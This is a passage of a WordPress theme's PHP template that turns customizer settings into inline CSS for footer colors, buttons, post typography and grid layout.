            ul.footer-socials li a:hover i { color: <?php echo get_theme_mod( 'penci_footer_icon_hover_icon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_text_color' ) ): ?>
            ul.footer-socials li a span { color: <?php echo get_theme_mod( 'penci_footer_social_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_hover_text_color' ) ): ?>
            ul.footer-socials li a:hover span { color: <?php echo get_theme_mod( 'penci_footer_social_hover_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_border_color' ) ): ?>
            .footer-socials-section, .penci-footer-social-moved{ border-color: <?php echo get_theme_mod( 'penci_footer_social_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'footer_instagram_border_color' ) ): ?>
            .footer-instagram h4.footer-instagram-title{ border-color: <?php echo get_theme_mod( 'footer_instagram_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_instagram_title_color' ) ): ?>
            .footer-instagram h4.footer-instagram-title{ color: <?php echo get_theme_mod( 'penci_footer_instagram_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_copyright_bg_color' ) ): ?>
            #footer-section, .penci-footer-social-moved{ background-color: <?php echo get_theme_mod( 'penci_footer_copyright_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_bgcolor' ) ): ?>
            .penci-footer-social-moved{ background-color: <?php echo get_theme_mod( 'penci_footer_social_bgcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_menu_color' ) ): ?>
            #footer-section .footer-menu li a { color: <?php echo get_theme_mod( 'penci_footer_menu_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_menu_color_hover' ) ): ?>
            #footer-section .footer-menu li a:hover { color: <?php echo get_theme_mod( 'penci_footer_menu_color_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_copyright_text_color' ) ): ?>
            #footer-section, #footer-copyright * { color: <?php echo get_theme_mod( 'penci_footer_copyright_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_go_top_color' ) ): ?>
            #footer-section .go-to-top i, #footer-section .go-to-top-parent span { color: <?php echo get_theme_mod( 'penci_footer_go_top_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_go_top_hover_color' ) ): ?>
            #footer-section .go-to-top:hover span, #footer-section .go-to-top:hover i { color: <?php echo get_theme_mod( 'penci_footer_go_top_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_go_top_float_color' ) ): ?>
            .penci-go-to-top-floating { background-color: <?php echo get_theme_mod( 'penci_footer_go_top_float_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_go_top_float_icon_color' ) ): ?>
            .penci-go-to-top-floating { color: <?php echo get_theme_mod( 'penci_footer_go_top_float_icon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_copyright_accent_color' ) ): ?>
            #footer-section a { color: <?php echo get_theme_mod( 'penci_footer_copyright_accent_color' ); ?>; }
		<?php endif; ?>
		<?php echo penci_renders_css( '.footer-instagram h4.footer-instagram-title > span::before,.footer-instagram.penci-insta-title-overlay h4.footer-instagram-title > span::before,.footer-instagram h4.footer-instagram-title span, .footer-instagram.penci-insta-title-overlay h4.footer-instagram-title > span, .footer-instagram.penci-insta-title-overlay h4.footer-instagram-title > span > span', 'penci_footer_insta_title' ); ?>
		<?php if ( get_theme_mod( 'penci_single_accent_color' ) ): ?>
            .comment-content a, .container-single .post-entry a, .container-single .format-post-box .dt-special a:hover, .container-single .author-quote span, .container-single .author-post span a:hover, .post-entry blockquote:before, .post-entry blockquote cite, .post-entry blockquote .author, .wpb_text_column blockquote:before, .wpb_text_column blockquote cite, .wpb_text_column blockquote .author, .post-pagination a:hover, .author-content h5 a:hover, .author-content .author-social:hover, .item-related h3 a:hover, .container-single .format-post-box .post-format-icon i, .container.penci-breadcrumb.single-breadcrumb span a:hover,.container.penci-breadcrumb.single-breadcrumb a:hover, .penci_list_shortcode li:before, .penci-dropcap-box-outline, .penci-dropcap-circle-outline, .penci-dropcap-regular, .penci-dropcap-bold, .header-standard .post-box-meta-single .author-post span a:hover{ color: <?php echo get_theme_mod( 'penci_single_accent_color' ); ?>; }
            .container-single .standard-content-special .format-post-box, ul.slick-dots li button:hover, ul.slick-dots li.slick-active button, .penci-dropcap-box-outline, .penci-dropcap-circle-outline { border-color: <?php echo get_theme_mod( 'penci_single_accent_color' ); ?>; }
            ul.slick-dots li button:hover, ul.slick-dots li.slick-active button, #respond h3.comment-reply-title span:before, #respond h3.comment-reply-title span:after, .post-box-title:before, .post-box-title:after, .container-single .author-quote span:before, .container-single .author-quote
            span:after, .post-entry blockquote .author span:after, .post-entry blockquote .author span:before, .post-entry ul li:before, #respond #submit:hover,
            div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover,
            .wpcf7 input[type="submit"]:hover, .widget_wysija input[type="submit"]:hover, .post-entry.blockquote-style-2 blockquote:before,.tags-share-box.tags-share-box-s2 .post-share-plike, .penci-dropcap-box, .penci-dropcap-circle, .penci-ldspinner > div{  background-color: <?php echo get_theme_mod( 'penci_single_accent_color' ); ?>; }
            .container-single .post-entry .post-tags a:hover { color: #fff; border-color: <?php echo get_theme_mod( 'penci_single_accent_color' ); ?>; background-color: <?php echo get_theme_mod( 'penci_single_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_buttons_bg' ) ): ?>
            .penci-user-logged-in .penci-user-action-links a, .penci-login-register input[type="submit"], .widget input[type="submit"], .widget button[type="submit"], .contact-form input[type=submit], #respond #submit, .wpcf7 input[type="submit"], .widget_wysija input[type="submit"], div.wpforms-container .wpforms-form.wpforms-form input[type=submit], div.wpforms-container .wpforms-form.wpforms-form button[type=submit], div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button, .mc4wp-form input[type=submit]{ background-color: <?php echo get_theme_mod( 'penci_buttons_bg' ); ?>; }
            .pcdark-mode .penci-user-logged-in .penci-user-action-links a, .pcdark-mode .penci-login-register input[type="submit"], .pcdark-mode .widget input[type="submit"], .pcdark-mode .widget button[type="submit"], .pcdark-mode .contact-form input[type=submit], .pcdark-mode #respond #submit, .pcdark-mode .wpcf7 input[type="submit"], .pcdark-mode .widget_wysija input[type="submit"], .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit], .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit], .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button, .pcdark-mode .mc4wp-form input[type=submit]{ background-color: <?php echo get_theme_mod( 'penci_buttons_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_buttons_color' ) ): ?>
            .penci-user-logged-in .penci-user-action-links a, .penci-login-register input[type="submit"], .widget input[type="submit"], .widget button[type="submit"], .contact-form input[type=submit], #respond #submit, .wpcf7 input[type="submit"], .widget_wysija input[type="submit"], div.wpforms-container .wpforms-form.wpforms-form input[type=submit], div.wpforms-container .wpforms-form.wpforms-form button[type=submit], div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button, .mc4wp-form input[type=submit]{ color: <?php echo get_theme_mod( 'penci_buttons_color' ); ?>; }
            .pcdark-mode .penci-user-logged-in .penci-user-action-links a, .pcdark-mode .penci-login-register input[type="submit"], .pcdark-mode .widget input[type="submit"], .pcdark-mode .widget button[type="submit"], .pcdark-mode .contact-form input[type=submit], .pcdark-mode #respond #submit, .pcdark-mode .wpcf7 input[type="submit"], .pcdark-mode .widget_wysija input[type="submit"], .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit], .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit], .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button, .pcdark-mode .mc4wp-form input[type=submit]{ color: <?php echo get_theme_mod( 'penci_buttons_color' ); ?>; }
            .wp-block-search .wp-block-search__button svg{ fill: <?php echo get_theme_mod( 'penci_buttons_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_buttons_bghover' ) ): ?>
            .penci-user-logged-in .penci-user-action-links a:hover, .penci-login-register input[type="submit"]:hover, .footer-widget-wrapper .widget button[type="submit"]:hover,.footer-widget-wrapper .mc4wp-form input[type="submit"]:hover, .footer-widget-wrapper .widget input[type="submit"]:hover,.widget input[type="submit"]:hover, .widget button[type="submit"]:hover, .contact-form input[type=submit]:hover, #respond #submit:hover, .wpcf7 input[type="submit"]:hover, .widget_wysija input[type="submit"]:hover, div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover, .mc4wp-form input[type=submit]:hover{ background-color: <?php echo get_theme_mod( 'penci_buttons_bghover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_buttons_colorhver' ) ): ?>
            .penci-user-logged-in .penci-user-action-links a:hover, .penci-login-register input[type="submit"]:hover, .footer-widget-wrapper .widget button[type="submit"]:hover,.footer-widget-wrapper .mc4wp-form input[type="submit"]:hover, .footer-widget-wrapper .widget input[type="submit"]:hover,.widget input[type="submit"]:hover, .widget button[type="submit"]:hover, .contact-form input[type=submit]:hover, #respond #submit:hover, .wpcf7 input[type="submit"]:hover, .widget_wysija input[type="submit"]:hover, div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover, .mc4wp-form input[type=submit]:hover{ color: <?php echo get_theme_mod( 'penci_buttons_colorhver' ); ?>; }
            .wp-block-search .wp-block-search__button:hover svg{ fill: <?php echo get_theme_mod( 'penci_buttons_colorhver' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadnp_ldscolor' ) ): ?>
            .penci-ldspinner > div{ background-color: <?php echo get_theme_mod( 'penci_loadnp_ldscolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_cat_color' ) ): ?>
            .container-single .penci-standard-cat .cat > a.penci-cat-name { color: <?php echo get_theme_mod( 'penci_single_cat_color' ); ?>; }
            .container-single .penci-standard-cat .cat:before, .container-single .penci-standard-cat .cat:after { background-color: <?php echo get_theme_mod( 'penci_single_cat_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_progress_color' ) ): ?>
            .penci-header-wrap .pcscrollbar,.pencihd-iscroll-bar { --pcaccent-cl: <?php echo get_theme_mod( 'penci_single_progress_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_off_uppercase_post_title' ) ): ?>
            .container-single .single-post-title { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_title_font_size' ) ): ?>
            @media only screen and (min-width: 769px){  .container-single .single-post-title { font-size: <?php echo get_theme_mod( 'penci_single_title_font_size' ); ?>px; }  }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_dis_jarallax_single_mb' ) ): ?>
            @media only screen and (max-width: 768px){ .single .penci-jarallax {padding-top: 0 !important;} .single .penci-jarallax .jarallax-container-fix, .single .penci-jarallax > div{ position: relative !important; } .single .penci-jarallax .jarallax-img{ position: relative !important; width: 100% !important; height: auto !important; margin-top: 0 !important; transform: none !important; } }
		<?php endif; ?>

		<?php
		if ( 'style-3' == $single_style && get_theme_mod( 'psingle_title_size_s3' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-3 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s3' ) . 'px; }  }';
		} elseif ( 'style-4' == $single_style && get_theme_mod( 'psingle_title_size_s4' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-4 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s4' ) . 'px; }  }';
		}
		if ( 'style-5' == $single_style && get_theme_mod( 'psingle_title_size_s5' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-5 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s5' ) . 'px; }  }';
		}
		if ( 'style-6' == $single_style && get_theme_mod( 'psingle_title_size_s6' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-6 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s6' ) . 'px; }  }';
		}
		if ( 'style-7' == $single_style && get_theme_mod( 'psingle_title_size_s7' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-7 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s7' ) . 'px; }  }';
		}
		if ( 'style-8' == $single_style && get_theme_mod( 'psingle_title_size_s8' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-8 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s8' ) . 'px; }  }';
		}
		if ( 'style-9' == $single_style && get_theme_mod( 'psingle_title_size_s9' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-9 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s9' ) . 'px; }  }';
		}
		if ( 'style-10' == $single_style && get_theme_mod( 'psingle_title_size_s10' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-10 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s10' ) . 'px; }  }';
		}
		?>
		<?php if ( get_theme_mod( 'penci_single_title_font_msize' ) ): ?>
            @media only screen and (max-width: 768px){ .container-single .single-post-title, .container-single.penci-single-style-3 .single-post-title, .container-single.penci-single-style-4 .single-post-title, .container-single.penci-single-style-5 .single-post-title, .container-single.penci-single-style-6 .single-post-title, .container-single.penci-single-style-7 .single-post-title, .container-single.penci-single-style-8 .single-post-title, .container-single.penci-single-style-9 .single-post-title, .container-single.penci-single-style-10 .single-post-title{ font-size: <?php echo get_theme_mod( 'penci_single_title_font_msize' ); ?>px; }  }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_subtitle_font_size' ) ): ?>
            @media only screen and (min-width: 769px){ .container-single .header-standard h2.penci-psub-title, .container-single h2.penci-psub-title{ font-size: <?php echo get_theme_mod( 'penci_single_subtitle_font_size' ); ?>px; }  }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_subtitle_font_msize' ) ): ?>
            @media only screen and (max-width: 768px){ .container-single .header-standard h2.penci-psub-title, .container-single h2.penci-psub-title{ font-size: <?php echo get_theme_mod( 'penci_single_subtitle_font_msize' ); ?>px; }  }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_disable_default_fonts' ) && get_theme_mod( 'penci_disable_all_fonts' ) ): ?>
            .post-entry blockquote:before, .wpb_text_column blockquote:before, .woocommerce .page-description blockquote:before, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote:before, .woocommerce div.product .woocommerce-tabs #tab-description blockquote:before, .woocommerce-product-details__short-description blockquote:before, .format-post-box .post-format-icon i.fa-quote-left:before { font-family: 'FontAwesome'; content: '\f10d'; font-size: 30px; left: 2px; top: 0px; font-weight: normal; }
            .penci-fawesome-ver5 .post-entry blockquote:before, .penci-fawesome-ver5 .wpb_text_column blockquote:before, .penci-fawesome-ver5 .woocommerce .page-description blockquote:before, .penci-fawesome-ver5 .woocommerce div.product .entry-summary div[itemprop="description"] blockquote:before, .penci-fawesome-ver5 .woocommerce div.product .woocommerce-tabs #tab-description blockquote:before, .penci-fawesome-ver5 .woocommerce-product-details__short-description blockquote:before, .penci-fawesome-ver5 .format-post-box .post-format-icon i.fa-quote-left:before{ font-family: 'Font Awesome 5 Free'; font-weight: 900; }
		<?php endif; ?>
		<?php
		for ( $x = 1; $x < 7; $x ++ ) {
			echo penci_renders_css( '.post-entry h' . $x . ', .wpb_text_column h' . $x . ', .elementor-text-editor h' . $x . ', .woocommerce .page-description h' . $x, 'penci_single_title_h' . $x . '_size' );
		}
		?>
		<?php echo penci_renders_css( '.post-entry, .post-entry p, .wpb_text_column p, .woocommerce .page-description p', 'penci_single_title_p_size' ); ?>
		<?php if ( get_theme_mod( 'penci_single_blockquote_fsize' ) ): ?>
			.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote) p,
			.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote) p,
			.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote) p,
            .post-entry blockquote.wp-block-quote p, .wpb_text_column blockquote.wp-block-quote p, .post-entry blockquote, .post-entry blockquote p, .wpb_text_column blockquote, .wpb_text_column blockquote p, .woocommerce .page-description blockquote, .woocommerce .page-description blockquote p{ font-size: <?php echo get_theme_mod( 'penci_single_blockquote_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_blockquoteauthor_fsize' ) ): ?>
            .post-entry blockquote cite, .post-entry blockquote .author, .wpb_text_column blockquote cite, .wpb_text_column blockquote .author, .woocommerce .page-description blockquote cite, .woocommerce .page-description blockquote .author, .post-entry blockquote.wp-block-quote cite, .wpb_text_column blockquote.wp-block-quote cite{ font-size: <?php echo get_theme_mod( 'penci_single_blockquoteauthor_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_cat_font_size' ) ): ?>
            .container-single .penci-standard-cat .cat > a.penci-cat-name{ font-size: <?php echo get_theme_mod( 'penci_single_cat_font_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_meta_font_size' ) ): ?>
            .post-box-meta-single, .tags-share-box .single-comment-o{ font-size: <?php echo get_theme_mod( 'penci_single_meta_font_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tags_font_size' ) ): ?>
            .container-single #main .post-entry .post-tags a{ font-size: <?php echo get_theme_mod( 'penci_single_tags_font_size' ); ?>px !important; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_share_box_fsize' ) ): ?>
            .post-share a, .post-share .count-number-like, .tags-share-box.tags-share-box-2_3 .penci-social-share-text{ font-size: <?php echo get_theme_mod( 'penci_single_share_box_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_name_fsize' ) ): ?>
            .author-content h5{ font-size: <?php echo get_theme_mod( 'penci_authorbio_name_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_bio_upper_name' ) ): ?>
            .author-content h5{ text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_desc_fsize' ) ): ?>
            .author-content p, .author-content{ font-size: <?php echo get_theme_mod( 'penci_authorbio_desc_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_social_fsize' ) ): ?>
            .author-content .author-social{ font-size: <?php echo get_theme_mod( 'penci_authorbio_social_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_prevnextpost_fsize' ) ): ?>
            .post-pagination span{ font-size: <?php echo get_theme_mod( 'penci_prevnextpost_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_prevnextpost_title_fsize' ) ): ?>
            .post-pagination h5{ font-size: <?php echo get_theme_mod( 'penci_prevnextpost_title_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_heading_fsize' ) ): ?>
            #respond h3.comment-reply-title span, .post-box-title{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_heading_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_post_title_fsize' ) ): ?>
            .post-related .item-related h3 a{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_post_title_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_post_date_fsize' ) ): ?>
            .post-related .item-related span.date{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_post_date_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_cmauthor_fsize' ) ): ?>
            .thecomment .comment-text .penci-review-author span.author,.thecomment .comment-text span.author, .thecomment .comment-text span.author a{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_cmauthor_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_rating_fsize' ) ): ?>
            .penci-review-summary .review_rated{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_rating_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_ratingt_fsize' ) ): ?>
            .penci-review-summary .pccm_rating_title{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_ratingt_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_cmdate_fsize' ) ): ?>
            .thecomment .comment-text span.date{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_cmdate_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_cmcontent_fsize' ) ): ?>
            .thecomment .comment-content, .thecomment .comment-content p{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_cmcontent_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_cmreplyedit_fsize' ) ): ?>
            .post-comments span.reply a{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_cmreplyedit_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_input_fsize' ) ): ?>
            #respond input, #respond textarea{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_input_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_submit_fsize' ) ): ?>
            #respond #submit{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_submit_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_gdrp_fsize' ) ): ?>
            form#commentform > .comment-form-cookies-consent, form#commentform > div.penci-gdpr-message{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_gdrp_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpopup_heading_fsize' ) ): ?>
            .penci-rlt-popup .rtlpopup-heading{ font-size: <?php echo get_theme_mod( 'penci_rltpopup_heading_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpopup_title_fsize' ) ): ?>
            .penci-rlt-popup .rltpopup-meta .rltpopup-title{ font-size: <?php echo get_theme_mod( 'penci_rltpopup_title_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltpopup_date_fsize' ) ): ?>
            .penci-rlt-popup .rltpopup-meta .date{ font-size: <?php echo get_theme_mod( 'penci_rltpopup_date_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_comments_lines' ) ): ?>
		.thecomment .comment-content {
			margin-top: 15px;
			margin-bottom: 0;
			display: -webkit-box;
			-webkit-box-orient: vertical;
			overflow: hidden;
			-webkit-line-clamp: <?php echo get_theme_mod( 'penci_post_comments_lines' ); ?>
		}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_off_letter_space_post_title' ) ): ?>
            .container-single .single-post-title { }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_on_uppercase_post_cat' ) ): ?>
            .container-single .cat a.penci-cat-name { text-transform: uppercase; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid_remove_line' ) ): ?>
            .list-post .header-list-style:after, .grid-header-box:after, .penci-overlay-over .overlay-header-box:after, .home-featured-cat-content .first-post .magcat-detail .mag-header:after { content: none; }
            .list-post .header-list-style, .grid-header-box, .penci-overlay-over .overlay-header-box, .home-featured-cat-content .first-post .magcat-detail .mag-header{ padding-bottom: 0; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid_rmbd_bottom' ) ): ?>
            .penci-grid li.list-post{ padding-bottom: 0; border-bottom: none; }
            .penci-layout-mixed-3 .penci-grid li.penci-slistp, .penci-layout-mixed-4 .penci-grid li.penci-slistp, .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp{ border-top: none; padding-top: 0; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grid_share_rmbd' ) ): ?>
            .penci-post-box-meta.penci-post-box-grid .penci-post-share-box{ padding: 0; background: none !important; }
            .penci-post-box-meta.penci-post-box-grid:before{ content: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_standard_remove_line' ) ): ?>
            .header-standard:after { content: none; }
            .header-standard { padding-bottom: 0; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grihead_align' ) ):
			$gridheader_align = get_theme_mod( 'penci_grihead_align' );
			?>
            .grid-header-box,.header-list-style{ text-align: <?php echo $gridheader_align; ?> }
			<?php if ( 'left' == $gridheader_align ) { ?>
            .grid-header-box:after, .header-list-style:after, .grid-mixed .grid-header-box:after, .container .penci-grid li.magazine-layout .grid-header-box:after, .list-post .header-list-style:after, .penci-layout-boxed-1 .list-boxed-post .header-list-style:after, .penci-layout-standard-boxed-1 .list-boxed-post .header-list-style:after, .penci-layout-classic-boxed-1 .list-boxed-post .header-list-style:after, .list-post.list-boxed-post .header-list-style:after{ left: 0; right: auto; margin-left: 0; margin-right: 0; }
            .grid-overlay-meta .grid-header-box{ padding-left: 10px; }
            .grid-overlay-meta .grid-header-box:after, .container .penci-grid li.magazine-layout.grid-overlay-meta .grid-header-box:after{ left: 10px; }
		<?php } else if ( 'center' == $gridheader_align ) { ?>
            .grid-header-box:after, .header-list-style:after, .grid-mixed .grid-header-box:after, .container .penci-grid li.magazine-layout .grid-header-box:after, .list-post .header-list-style:after, .penci-layout-boxed-1 .list-boxed-post .header-list-style:after, .penci-layout-standard-boxed-1 .list-boxed-post .header-list-style:after, .penci-layout-classic-boxed-1 .list-boxed-post .header-list-style:after, .list-post.list-boxed-post .header-list-style:after{ left: 50%; margin-left: -30px; }
		<?php } else if ( 'right' == $gridheader_align ) { ?>
            .grid-header-box:after, .header-list-style:after, .grid-mixed .grid-header-box:after, .container .penci-grid li.magazine-layout .grid-header-box:after, .list-post .header-list-style:after, .penci-layout-boxed-1 .list-boxed-post .header-list-style:after, .penci-layout-standard-boxed-1 .list-boxed-post .header-list-style:after, .penci-layout-classic-boxed-1 .list-boxed-post .header-list-style:after, .list-post.list-boxed-post .header-list-style:after{ left: auto; right: 0; margin-left: 0; margin-right: 0; }
            .grid-overlay-meta .grid-header-box{ padding-right: 10px; }
            .grid-overlay-meta .grid-header-box:after, .container .penci-grid li.magazine-layout.grid-overlay-meta .grid-header-box:after{ right: 10px; }
		<?php } ?>
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_griexc_align' ) ): ?>
            .penci-featured-infor .item-content, .penci-grid li .item .item-content, .penci-masonry .item-masonry .item-content, .penci-grid .mixed-detail .item-content{ text-align: <?php echo get_theme_mod( 'penci_griexc_align' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_grishare_align' ) ):
			$gridshare_align = get_theme_mod( 'penci_grishare_align' );
			?>
            .penci-post-box-meta.penci-post-box-grid{ text-align: <?php echo $gridshare_align; ?>; }
			<?php if ( 'left' == $gridshare_align ) { ?>
            .penci-post-box-meta.penci-post-box-grid .penci-post-share-box{ padding-left: 0; }
		<?php } else if ( 'right' == $gridshare_align ) { ?>
            .penci-post-box-meta.penci-post-box-grid .penci-post-share-box{ padding-right: 0; }
		<?php } ?>
		<?php endif; ?>
		<?php
		if ( get_theme_mod( 'penci_post_excerpt_line' ) ) {
			?>
			.penci-grid .mixed-detail .item-content, .penci-grid li .item .item-content, .penci-masonry .item-masonry .item-content{
				overflow: hidden;
				display: -webkit-box;
				-webkit-line-clamp: <?php echo get_theme_mod( 'penci_post_excerpt_line' );?>;
						line-clamp: <?php echo get_theme_mod( 'penci_post_excerpt_line' );?>; 
				-webkit-box-orient: vertical;
			}
			<?php
		}
		if ( get_theme_mod( 'penci_standard_excerpt_line' ) ) {
			?>
			.standard-content .standard-post-entry{
				overflow: hidden;
				display: -webkit-box;
				-webkit-line-clamp: <?php echo get_theme_mod( 'penci_standard_excerpt_line' );?>;
						line-clamp: <?php echo get_theme_mod( 'penci_standard_excerpt_line' );?>; 
				-webkit-box-orient: vertical;
			}
			<?php
		}
		if ( get_theme_mod( 'penci_align_left_post_title' ) ): ?>
			.header-standard-wrapper, .penci-author-img-wrapper .author{justify-content: start;}
			.penci-body-single-style-16 .container.penci-breadcrumb,
			.penci-body-single-style-11 .penci-breadcrumb,
			.penci-body-single-style-12 .penci-breadcrumb,
			.penci-body-single-style-14 .penci-breadcrumb,
			.penci-body-single-style-16 .penci-breadcrumb,
			.penci-body-single-style-17 .penci-breadcrumb,
			.penci-body-single-style-18 .penci-breadcrumb,
			.penci-body-single-style-19 .penci-breadcrumb,
			.penci-body-single-style-22 .container.penci-breadcrumb,
			.penci-body-single-style-22 .container-single .header-standard, 
			.penci-body-single-style-22 .container-single .post-box-meta-single,
			.penci-single-style-12 .container.penci-breadcrumb,
